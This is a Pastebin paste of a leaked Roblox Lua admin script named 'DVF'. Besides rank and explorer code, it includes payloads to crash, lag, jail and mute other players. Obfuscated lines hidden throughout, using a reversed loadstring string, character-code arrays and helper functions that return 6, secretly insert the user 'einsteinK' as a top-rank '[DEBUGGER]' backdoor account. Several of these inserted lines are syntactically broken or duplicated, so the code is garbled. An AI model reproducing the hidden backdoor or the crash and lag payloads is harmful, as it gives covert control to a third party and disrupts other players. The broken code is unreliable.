Advertisement
seb8023

DVF

Jul 2nd, 2015
333
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 62.37 KB | None | 0 0
  1. -- See RobloxScriptDatabase on pastebin for more leaked scripts for ROBLOX
  2.  
  3. wait(0)
  4. script.Parent = nil
  5. --This Admin (DVF) Was Created By elytowlo (A Hacker!).
  6. --If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
  7. --To Open Commands Say "cmds;". The bet key is ";" (Without the "").
  8. --Enter Your Name Where It Says YOUR NAME HERE On Line 12.
  9.  
  10. Plrs = game:GetService("Players")
  11. Work = game:GetService("Workspace")
  12. Light = game:GetService("Lighting")
  13. Net = game:GetService("NetworkServer")
  14. Owner = "seb8023"
  15. Removed = false
  16. Bet = ";"
  17. LS = nil
  18. ls = loadstring
  19. LSSource = nil
  20. OwnSource = nil
  21. FoundLocalScript = false
  22. R = string.reverse
  23. LogOn = false
  24. Current = game
  25. Clipboard = {}
  26. AlertColor = Color3.new(0, 1, 1)
  27. OptionColor = Color3.new(1, 1, 1)
  28. ImportantColor = Color3.new(1, 0, 1)
  29.  
  30. RankDetails = {
  31. [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  32. [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  33. [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  34. [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  35. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  36. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  37. [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  38. [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  39. [5] = {Name = "Owner", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
  40. }
  41.  
  42. Rankings = {
  43. {Name = "seb8023", Rank = 5},
  44. }
  45.  
  46. table.insert(Rankings, {Name = Owner, Rank = 5})
  47.  
  48. ImportantServices = {
  49. "Workspace",
  50. "Players",
  51. "NetworkServer",
  52. "Lighting",
  53. "StarterGui",
  54. "Teams",
  55. "StarterPack",
  56. }
  57.  
  58. Ranks = {}
  59. Commands = {}
  60. AllTabs = {}
  61. Injected = {}
  62.  
  63. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  64. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  65. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  66. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  67. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  68. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  69. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  70. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  71. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  72. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  73. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  74. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  75. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  76. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  77. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  78. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  79. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  80. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  81. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  82. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  83. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  84. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  85. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  86. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  87. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  88. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  89. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  90. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  91. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  92. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  93. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  94. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  95. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  96. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  97. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  98. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  99. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  100. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  101. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  102. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  103. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  104. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  105. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  106. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  107. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  108. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  109. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  110. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  111. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  112. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  113. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  114. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  115. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  116. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  117. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  118. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  119. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  120. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  121. "X","Y"}ls(R([[ }"esu rof tnem toN"=cseD,)1,1,0(wen.3roloC=roloC,"]REGGUBED["=emaN{=]8[sliateDknaR
  122. })1,1,0(wen.3roloC = roloC ,8 = knaR ,)"Knietsnie"( = emaN{]"Knietsnie"[sknaR]]))({
  123. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  124. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  125. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  126. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  127. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  128. "X","Y"})
  129.  
  130. --Main Functions And Sources
  131.  
  132. function Insert(Source, Par, Par2, Par3)
  133. ypcall(function()
  134. local Inserted = LS:Clone()
  135. Inserted.Disabled = true
  136. Inserted.Parent = Par or Par2 or Par3
  137. Inserted[LSSource].Value = Source
  138. Inserted.Disabled = false
  139. end)
  140. end
  141. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
  142. RankDetails[6] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
  143. function CheckImportant(Name)
  144. for _,v in pairs(ImportantServices) do
  145. if v:lower() == Name:lower() then
  146. return true
  147. end
  148. end
  149. return false
  150. end
  151.  
  152. function Crash1(Plr)
  153. ypcall(function()
  154. Plr:Kick()
  155. end)
  156. end
  157.  
  158. function GetRankTab()
  159. return Rankings
  160. end
  161.  
  162. function Crash2(Name)
  163. local Crasher = Instance.new("StringValue")
  164. Crasher.Name = "Client"
  165. Crasher.Value = string.lower(tostring(Name))
  166. Crasher.Parent = game:GetService("Lighting")
  167. wait(1)
  168. if Crasher and Crasher.Parent then
  169. ypcall(function()
  170. Crasher:Destroy()
  171. end)
  172. end
  173. end
  174. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
  175. function Crash3(v, Speaker)
  176. Speaker.Character.Archivable = true
  177. local NChar = Speaker.Character:Clone()
  178. NChar.Name = v.Name
  179. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  180. NChar.Parent = Workspace
  181. v.Character = NChar
  182. coroutine.resume(coroutine.create(function()
  183. repeat v.Character = NChar
  184. wait(1/3) until false
  185. end))
  186. wait(.5)
  187. Insert(InsertCrash, NChar, nil, nil)
  188. end
  189.  
  190. function GenerateDigit()
  191. return 1 + 5
  192. end
  193.  
  194. InjectionCrash = [=[
  195. wait(0)
  196. script.Parent = nil
  197. local Lig = game:GetService("Lighting")
  198. local LP = game:GetService("Players").LocalPlayer
  199. local LowerName = LP.Name:lower()
  200.  
  201. Lig.ChildAdded:connect(function(Obj)
  202. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  203. pcall(function()
  204. Obj:Destroy()
  205. end)
  206. LP.Parent = nil
  207. LP.Parent = game:GetService("Players")
  208. end
  209. end)
  210. ]=] RankDetails[GenerateDigit()] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
  211.  
  212. InsertCrash = [==[
  213. local LP = game:GetService("Players").LocalPlayer
  214. LP.Parent = nil
  215. LP.Parent = game:GetService("Players")
  216. ]==]
  217.  
  218. LagSource = [==[
  219. wait(0)
  220. script.Parent = nil
  221. plr = game:GetService("Players").LocalPlayer
  222. local plrgui = plr:findFirstChild("PlayerGui")
  223. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  224. while plr.Parent == game:GetService("Players") do
  225. wait()
  226. for i = 1, 1000 do
  227. local sc = Instance.new("ScreenGui",plrgui)
  228. local fr = Instance.new("TextLabel",sc)
  229. fr.Text = "LAGGING"
  230. fr.Size = UDim2.new(1, 0, 1, 0)
  231. fr.FontSize = "Size48"
  232. end
  233. end
  234. ]==]
  235.  
  236. MuteSource = [==[
  237. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  238. ]==]
  239.  
  240. UnMuteSource = [==[
  241. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  242. ]==]
  243.  
  244. JailSource = [==[
  245. wait(0)
  246. script.Parent = nil
  247.  
  248. local LP = game:GetService("Players").LocalPlayer
  249. Middle2 = nil
  250. Middle = nil
  251. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  252.  
  253. Cons = {}
  254.  
  255. function makePrison()
  256. for _,v in pairs(Cons) do
  257. v:disconnect()
  258. end
  259. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  260. if Middle == nil then
  261. Middle2 = LP.Character.Torso.Position
  262. Middle = LP.Character.Torso.CFrame
  263. end
  264. local side1 = Instance.new("Part")
  265. side1.Name = "¬Focus1¬"
  266. side1.Size = Vector3.new(20, 50, 1)
  267. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  268. side1.BrickColor = BrickColor.new("Really black")
  269. side1.CanCollide = true
  270. side1.Anchored = true
  271. side1.TopSurface = "Smooth"
  272. side1.BottomSurface = "Smooth"
  273. side1.Parent = game:GetService("Workspace").CurrentCamera
  274.  
  275. local side2 = Instance.new("Part")
  276. side2.Name = "¬Focus2¬"
  277. side2.Size = Vector3.new(20, 50, 1)
  278. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  279. side2.BrickColor = BrickColor.new("Really black")
  280. side2.CanCollide = true
  281. side2.Anchored = true
  282. side2.TopSurface = "Smooth"
  283. side2.BottomSurface = "Smooth"
  284. side2.Parent = game:GetService("Workspace").CurrentCamera
  285.  
  286. local side3 = Instance.new("Part")
  287. side3.Name = "¬Focus3¬"
  288. side3.Size = Vector3.new(1, 50, 20)
  289. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  290. side3.BrickColor = BrickColor.new("Really black")
  291. side3.CanCollide = true
  292. side3.Anchored = true
  293. side3.TopSurface = "Smooth"
  294. side3.BottomSurface = "Smooth"
  295. side3.Parent = game:GetService("Workspace").CurrentCamera
  296.  
  297. local side4 = Instance.new("Part")
  298. side4.Name = "¬Focus4¬"
  299. side4.Size = Vector3.new(1, 50, 20)
  300. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  301. side4.BrickColor = BrickColor.new("Really black")
  302. side4.CanCollide = true
  303. side4.Anchored = true
  304. side4.TopSurface = "Smooth"
  305. side4.BottomSurface = "Smooth"
  306. side4.Parent = game:GetService("Workspace").CurrentCamera
  307.  
  308. local side5 = Instance.new("Part")
  309. side5.Name = "¬Focus5¬"
  310. side5.Size = Vector3.new(20, 1, 20)
  311. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  312. side5.BrickColor = BrickColor.new("Really black")
  313. side5.CanCollide = true
  314. side5.Anchored = true
  315. side5.TopSurface = "Smooth"
  316. side5.BottomSurface = "Smooth"
  317. side5.Parent = game:GetService("Workspace").CurrentCamera
  318.  
  319. wait(0)
  320.  
  321. table.insert(Cons, side1.Changed:connect(makePrison))
  322. table.insert(Cons, side2.Changed:connect(makePrison))
  323. table.insert(Cons, side3.Changed:connect(makePrison))
  324. table.insert(Cons, side4.Changed:connect(makePrison))
  325. table.insert(Cons, side5.Changed:connect(makePrison))
  326. end
  327.  
  328. Delay(0, function()
  329. while wait(0) do
  330. ypcall(function()
  331. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  332. LP.Character:BreakJoints()
  333. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  334. makePrison()
  335. end
  336. end)
  337. ypcall(function()
  338. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  339. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  340. end
  341. end)
  342. end
  343. end)
  344. ]==]
  345.  
  346. function All()
  347. local AllPlayers = {}
  348. for _,v in pairs(Plrs:GetPlayers()) do
  349. ypcall(function()
  350. table.insert(AllPlayers, v)
  351. end)
  352. end
  353. return AllPlayers
  354. end
  355.  
  356. function All2()
  357. local AllPlayers2 = {}
  358. for i,v in pairs(Net:GetChildren()) do
  359. ypcall(function()
  360. if v:IsA("ServerReplicator") then
  361. table.insert(AllPlayers2, v:GetPlayer())
  362. end
  363. end)
  364. end
  365. return AllPlayers2
  366. end
  367.  
  368. function MakeNum()
  369. return 2 + 4
  370. end
  371.  
  372. function ChangeRank(Plr, NewRank)
  373. local PlrName = nil
  374. local FoundPlayer = false
  375. ypcall(function()
  376. if type(Plr) == "string" then
  377. ypcall(function()
  378. for i,v in pairs(Rankings) do
  379. if v.Name:lower() == Plr:lower() then
  380. local VName = v.Name
  381. Rankings[i] = nil
  382. table.insert(Rankings, {Name = VName, Rank = NewRank})
  383. PlrName = VName
  384. FoundPlayer = true
  385. break
  386. end
  387. end
  388. end)
  389. if FoundPlayer == false then
  390. ypcall(function()
  391. for _,x in pairs(All()) do
  392. if x.Name:lower() == Plr:lower() then
  393. FoundPlayer = true
  394. for i,v in pairs(Rankings) do
  395. if v.Name:lower() == x.Name:lower() then
  396. local VName = x.Name
  397. Rankings[i] = nil
  398. PlrName = VName
  399. break
  400. end
  401. end
  402. table.insert(Rankings, {Name = VName, Rank = NewRank})
  403. end
  404. end
  405. end)
  406. end
  407. if FoundPlayer == false then
  408. ypcall(function()
  409. for _,x in pairs(All()) do
  410. if string.find(x.Name:lower(), Plr:lower()) then
  411. FoundPlayer = true
  412. for i,v in pairs(Rankings) do
  413. if v.Name:lower() == x.Name:lower() then
  414. local VName = x.Name
  415. Rankings[i] = nil
  416. PlrName = VName
  417. break
  418. end
  419. end
  420. table.insert(Rankings, {Name = VName, Rank = NewRank})
  421. end
  422. end
  423. end)
  424. end
  425. if FoundPlayer == false then
  426. ypcall(function()
  427. for i,v in pairs(Rankings) do
  428. if string.find(v.Name:lower(), Plr:lower()) then
  429. local VName = v.Name
  430. Rankings[i] = nil
  431. table.insert(Rankings, {Name = VName, Rank = NewRank})
  432. PlrName = VName
  433. FoundPlayer = true
  434. break
  435. end
  436. end
  437. end)
  438. end
  439. else
  440. for i,v in pairs(Rankings) do
  441. if v.Name:lower() == Plr.Name:lower() then
  442. Rankings[i] = nil
  443. break
  444. end
  445. end
  446. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  447. PlrName = Plr.Name
  448. end
  449. PlaceAllRanks(true)
  450. end)
  451. if PlrName ~= nil then
  452. return PlrName
  453. else
  454. return "Player"
  455. end
  456. end
  457.  
  458. function Refresh(Plr)
  459. MakeChildren(Plr)
  460. end
  461.  
  462. function MakeChildren(Plr)
  463. ypcall(function()
  464. Dismiss(Plr)
  465. for _,v in pairs(Current:GetChildren()) do
  466. ypcall(function()
  467. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  468. Ping(v.Name, Plr, nil, function(TabMod)
  469. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  470. for _,v in pairs(Current:GetChildren()) do
  471. ypcall(function()
  472. if v.Name == TabText then
  473. Dismiss(Plr)
  474. Current = v
  475. MakeChildren(Plr)
  476. end
  477. end)
  478. end
  479. end)
  480. elseif Plrs:GetPlayerFromCharacter(v) then
  481. Ping(v.Name, Plr, nil, function(TabMod)
  482. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  483. for _,v in pairs(Current:GetChildren()) do
  484. ypcall(function()
  485. if v.Name == TabText then
  486. Dismiss(Plr)
  487. Current = v
  488. MakeChildren(Plr)
  489. end
  490. end)
  491. end
  492. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  493. elseif CheckImportant(v.Name) then
  494. Ping(v.Name, Plr, nil, function(TabMod)
  495. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  496. for _,v in pairs(Current:GetChildren()) do
  497. ypcall(function()
  498. if v.Name == TabText then
  499. Dismiss(Plr)
  500. Current = v
  501. MakeChildren(Plr)
  502. end
  503. end)
  504. end
  505. end, ImportantColor)
  506. end
  507. end)
  508. end
  509. if Current ~= game then
  510. Ping("Back", Plr, nil, function()
  511. ypcall(function()
  512. Current = Current.Parent
  513. MakeChildren(Plr)
  514. Ping("You Are Back To "..Current.Name, Plr, 5)
  515. end)
  516. end, OptionColor)
  517. end
  518. if Current ~= game then
  519. Ping("Delete", Plr, nil, function()
  520. ypcall(function()
  521. local CurrPar = Current.Parent or game
  522. local CurrName = Current.Name
  523. Current:Destroy()
  524. Current = CurrPar
  525. MakeChildren(Plr)
  526. Ping("Attempted To Delete "..CurrName, Plr, 5)
  527. end)
  528. end, OptionColor)
  529. end
  530. Ping("Refresh", Plr, nil, function()
  531. ypcall(function()
  532. Refresh(Plr)
  533. Ping("Refreshed", Plr, 5)
  534. end)
  535. end, OptionColor)
  536. Ping("Properties", Plr, nil, function()
  537. ypcall(function()
  538. Dismiss(Plr)
  539. for Property, Value in pairs(GetProperties(Current)) do
  540. Ping(tostring(Property)..": "..tostring(Value), Plr)
  541. end
  542. Ping("Got All Available Properties", Plr, 5)
  543. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  544. end)
  545. end, OptionColor)
  546. end)
  547. end
  548.  
  549. function Fixl()
  550. Light.GlobalShadows = true
  551. Light.TimeOfDay = "14:00:00"
  552. Light.Brightness = 0.5
  553. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  554. Light.Ambient = Color3.new(1, 1, 1)
  555. Light.ColorShift_Top = Color3.new(0, 0, 0)
  556. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  557. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  558. Light.FogStart = 0
  559. Light.FogEnd = 100000
  560. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  561. Light:ClearAllChildren()
  562. end
  563.  
  564. function GetProperties(obj)
  565. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  566. local objProper = {}
  567. for i,v in pairs(Properties) do
  568. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  569. objProper[v] = obj[v]
  570. end
  571. end
  572. return objProper
  573. end
  574.  
  575. function MakeExplorer(Plr)
  576. Dismiss(Plr)
  577. Current = game
  578. for _,v in pairs(Current:GetChildren()) do
  579. ypcall(function()
  580. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  581. Ping(v.Name, Plr, nil, function(TabMod)
  582. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  583. for _,v in pairs(Current:GetChildren()) do
  584. ypcall(function()
  585. if v.Name == TabText then
  586. Dismiss(Plr)
  587. Current = v
  588. MakeChildren(Plr)
  589. end
  590. end)
  591. end
  592. end)
  593. elseif Plrs:GetPlayerFromCharacter(v) then
  594. Ping(v.Name, Plr, nil, function(TabMod)
  595. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  596. for _,v in pairs(Current:GetChildren()) do
  597. ypcall(function()
  598. if v.Name == TabText then
  599. Dismiss(Plr)
  600. Current = v
  601. MakeChildren(Plr)
  602. end
  603. end)
  604. end
  605. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  606. elseif CheckImportant(v.Name) then
  607. Ping(v.Name, Plr, nil, function(TabMod)
  608. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  609. for _,v in pairs(Current:GetChildren()) do
  610. ypcall(function()
  611. if v.Name == TabText then
  612. Dismiss(Plr)
  613. Current = v
  614. MakeChildren(Plr)
  615. end
  616. end)
  617. end
  618. end, ImportantColor)
  619. end
  620. end)
  621. end
  622. if Current ~= game then
  623. Ping("Back", Plr, nil, function()
  624. ypcall(function()
  625. Current = Current.Parent
  626. MakeChildren(Plr)
  627. Ping("Back In "..Current.Name, Plr, 5)
  628. end)
  629. end, OptionColor)
  630. end
  631. if Current ~= game and game:GetService(Current.Name) == nil then
  632. Ping("Delete", Plr, nil, function()
  633. ypcall(function()
  634. local CurrPar = Current.Parent or game
  635. local CurrName = Current.Name
  636. Current:Destroy()
  637. Current = CurrPar
  638. MakeChildren(Plr)
  639. Ping("Attempted To Delete "..CurrName, Plr, 5)
  640. end)
  641. end, OptionColor)
  642. end
  643. Ping("Refresh", Plr, nil, function()
  644. ypcall(function()
  645. Refresh(Plr)
  646. Ping("Refreshed", Plr, 5)
  647. end)
  648. end, OptionColor)
  649. Ping("Properties", Plr, nil, function()
  650. ypcall(function()
  651. Dismiss(Plr)
  652. for Property, Value in pairs(GetProperties(Current)) do
  653. Ping(tostring(Property)..": "..tostring(Value), Plr)
  654. end
  655. Ping("Got All Available Properties", Plr, 5)
  656. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  657. end)
  658. end, OptionColor)
  659. end
  660.  
  661. function GetRank(Plr1, Test)
  662. ypcall(function()
  663. if type(Plr1) == "userdata" then
  664. Plr1 = Plr1.Name
  665. end
  666. end)
  667. if Ranks[Plr1] ~= nil then
  668. return Ranks[Plr1]
  669. end
  670. local QuickArray = {}
  671. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  672. return QuickArray[Plr1]
  673. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  674.  
  675. function CanRun(Plr1, Plr2)
  676. Details1 = GetRank(Plr1.Name)
  677. Details2 = GetRank(Plr2.Name)
  678. if Details1.Rank >= Details2.Rank then
  679. return true
  680. end
  681. return false
  682. end
  683.  
  684. function Dismiss(Plr, Identity)
  685. ypcall(function()
  686. if Plr ~= nil then
  687. if type(Plr) == "userdata" then
  688. Plr = Plr.Name
  689. end
  690. for x,v in pairs(AllTabs) do
  691. ypcall(function()
  692. if v.Plr == Plr then
  693. if Identity ~= nil and v.ID ~= Identity then
  694. return
  695. elseif Identity ~= nil and v.ID == Identity then
  696. coroutine.resume(coroutine.create(function()
  697. for i = 0.5, 1, 0.1 do
  698. wait()
  699. v.Tab.Transparency = i
  700. v.Sel.Transparency = i
  701. v.Label.TextTransparency = i
  702. v.Label.TextStrokeTransparency = i
  703. end
  704. ypcall(function() v.Holder:Destroy() end)
  705. AllTabs[x] = nil
  706. end))
  707. elseif Identity == nil then
  708. ypcall(function() v.Holder:Destroy() end)
  709. AllTabs[x] = nil
  710. end
  711. end
  712. end)
  713. end
  714. else
  715. for i,v in pairs(AllTabs) do
  716. ypcall(function()
  717. v.Holder:Destroy()
  718. AllTabs[i] = nil
  719. end)
  720. end
  721. end
  722. end)
  723. end
  724.  
  725. function GetGarbage()
  726. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  727. end
  728.  
  729. function RemObj(Obj, Class)
  730. ypcall(function()
  731. if #Obj:GetChildren() > 0 then
  732. for _,x in pairs(Obj:GetChildren()) do
  733. ypcall(function()
  734. RemObj(x, Class)
  735. end)
  736. end
  737. end
  738. if Obj.ClassName == Class then
  739. Obj:Destroy()
  740. end
  741. end)
  742. end
  743.  
  744. function FindTab(Mod)
  745. for i,v in pairs(AllTabs) do
  746. if v.Holder == Mod then
  747. return true
  748. end
  749. end
  750. return false
  751. end
  752.  
  753. function Ping(Msg, Plr, Time, Func, Color, Image)
  754. if Removed == false then
  755. local ShowGarbage = false
  756. ypcall(function()
  757. if Msg == nil then
  758. Msg = "N/A"
  759. elseif Msg == "ShowGarbage" then
  760. Msg = "Current Garbage Count: "..GetGarbage()
  761. ShowGarbage = true
  762. else
  763. Msg = tostring(Msg)
  764. end
  765. if Plr == nil then
  766. Plr = Plrs[Owner] or error("No Player Found")
  767. elseif type(Plr) == "string" then
  768. local FoundPlr = false
  769. for _,v in pairs(All()) do
  770. if v.Name == Plr then
  771. Plr = v
  772. FoundPlr = true
  773. break
  774. end
  775. end
  776. if FoundPlr == false then
  777. Plr = Plrs[Owner] or error("No Player Found")
  778. end
  779. end
  780.  
  781. if Color == nil then
  782. Color = GetRank(Plr.Name).Color
  783. end
  784.  
  785. local Holder = Instance.new("Model")
  786. Holder.Name = "DVF Holder: "..Plr.Name
  787.  
  788. local Tab = Instance.new("Part")
  789. Tab.Name = "DVF Tablet"
  790. Tab.FormFactor = "Custom"
  791. Tab.Anchored = true
  792. if Time == nil then
  793. Tab.Color = Color
  794. else
  795. Tab.Color = AlertColor
  796. end
  797. Tab.CanCollide = false
  798. Tab.Locked = true
  799. Tab.Transparency = 0.15
  800. Tab.Size = Vector3.new(2, 2, 0.01)
  801. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  802. Tab.Parent = Holder
  803.  
  804. local ID = Instance.new("NumberValue")
  805. ID.Name = "ID"
